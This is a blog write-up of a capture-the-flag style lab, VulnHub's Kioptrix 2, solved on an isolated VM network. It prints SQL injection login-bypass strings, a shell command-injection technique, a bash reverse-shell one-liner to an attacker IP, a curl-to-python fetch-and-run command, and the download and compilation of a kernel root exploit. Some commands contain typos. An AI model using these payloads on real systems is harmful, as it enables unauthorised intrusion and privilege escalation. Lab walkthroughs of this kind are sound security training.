VulnHub - Kioptrix 2
by purpl3f0x
Time for Kioptrix #2! This one was ever so slightly more difficult to get root on, but only because I let myself fall down rabbit holes instead of exploiting the obvious.
Recon and initial enumeration:
As always I started off using my favorite scanning tool Sparta to get the open ports, as well as run some initial enumeration:
A few interesting things here, once again we have web ports open, a probable entry point. I couldn't help but take notice of port 666 though....after seeing that I decided to listen to some music from DOOM while doing my next few steps
The next thing I checked were the Nikto results, courtesy of Sparta,
I don't see anything particularly interesting though. Some of these results may have been worth researching, but first I wanted to check out the webpage itself.
Initial foothold:
After browsing to the IP address of the box on my local, isolated VMware network, I found a very simple login prompt:
I checked the page source, something I do all the time, just in case there are hints hidden in the code (intentional or unintentional)
Doesn't look like there is anything special here, moving on.
Recalling that this box is running MySQL, I immediately started poking at the login boxes with SQL injection. It only took about three tries, and I had success typing this into the password field:
- 1' or '1'='1
Usually my first tries are something along the lines of:
- any' or 1=1;#
This only sometimes works, but it all depends on how the SQL statement is crafted on the backend. Since the first example was the one that let me in, I can only guess that the SQL statement looked something like:
- SELECT * FROM users WHERE username=' ' AND password=' '
So after my injection, it probably looked like this:
- SELECT * FROM users WHERE username='admin' AND password='1' or '1'=1'
Since adding the "or 1=1" will cause the statement to always evaluate to "true", it bypasses the password check.
Aftering logging in I find something that quickly gave me ideas about remote code injection:
This plainly states that we're executing a command on the backend, and it's asking us for an IP address as a parameter. So, to test it out, I ping my attacking machine.
Looks just like the output from a linux bash prompt, so we're definitely running a command and getting back the exact output from the command. There is a way to chain commands in linux, such as:
- &&
- ||
- ;
Since the first two usually depend on the success or failure of the first command, I just go with ; because it's simply tacking on a second command to the first. So I test that out:
At the bottom of the ping printout, we can see that the command "pwd" or "print working directory" executed and told us that we're in "/var/www/html". At this point it is confirmed that it's possible to inject linux commands into this server.
Immediately I attempt a reverse shell command:
- bash -i >$ /dev/tcp/10.0.0.128/443 0>&1
This resulted in a successful connection back to my listening netcat session:
Privilege Escalation:
So as I anticipated, I landed on the account running the webpage, in this case, "apache". This account has pretyy low privileges and can't look at very much or do much, and without a password, using sudo isn't possible.
Manual enumeration is good to practice, but for this box I wanted to use a new script that I haven't used before. It's a python script that does a lot of basic priv esc checks and presents it in a nice, readable format.
https://github.com/sleventyeleven/linuxprivchecker/blob/master/linuxprivchecker.py
I downloaded it to the attacking machine, and then hosted an http server on my Kali box with
- python -m SimpleHTTPServer 80
This starts up an HTTP server on port 80 (this module defaults to 8080 if you don't provide a port number), and will serve the files that are in the directory that you launched the server from. I had the victim download it from my attacking machine by changing to the /tmp directory (all accounts have write access in this directory) and running this:
- curl 10.0.0.128/linuxprivcheck.py | python
I had to pipe it to python because this command just printed the script's source code to the terminal and didn't execute.
This script output a LOT of text, and for some reason, I couldn't get it to properly pipe to "less" or "more", so I could only read the last bit, but luckily, that was enough.
This shows us some potential exploits that could be used on the system for priv esc. I usually shy away from kernel exploits, because they can take the box down if they aren't written well, but this box is running CentOS 4.5, which is quite old, so I'm a bit more willing to rely on well-known and well-tested exploits.
The one I ended up using was ring0 Root Exploit.
Again I started up the python HTTP server, and downloaded it to the victim:
- wget 10.0.0.128/9479.c
The target has gcc installed, so I compiled it on the victim.
- gcc 9472.c -o pwn
The resulting executable already has execution permissions on it, so I don't have to use "chmod". It was simply invoked with "./pwn", and BAM!, we are root.
Summary:
Another fairly easy box if you don't fall into rabbit-holes and over-think the priv esc. It only requires very basic knowledge of SQLi and command injection, and has an easy priv-esc in the form of a kernel exploit that reliably gets a root shell. I couldn't find any flags on this box, but root is root I guess.
Kioptrix 3 soon!
tags: Pentesting - Vulnhub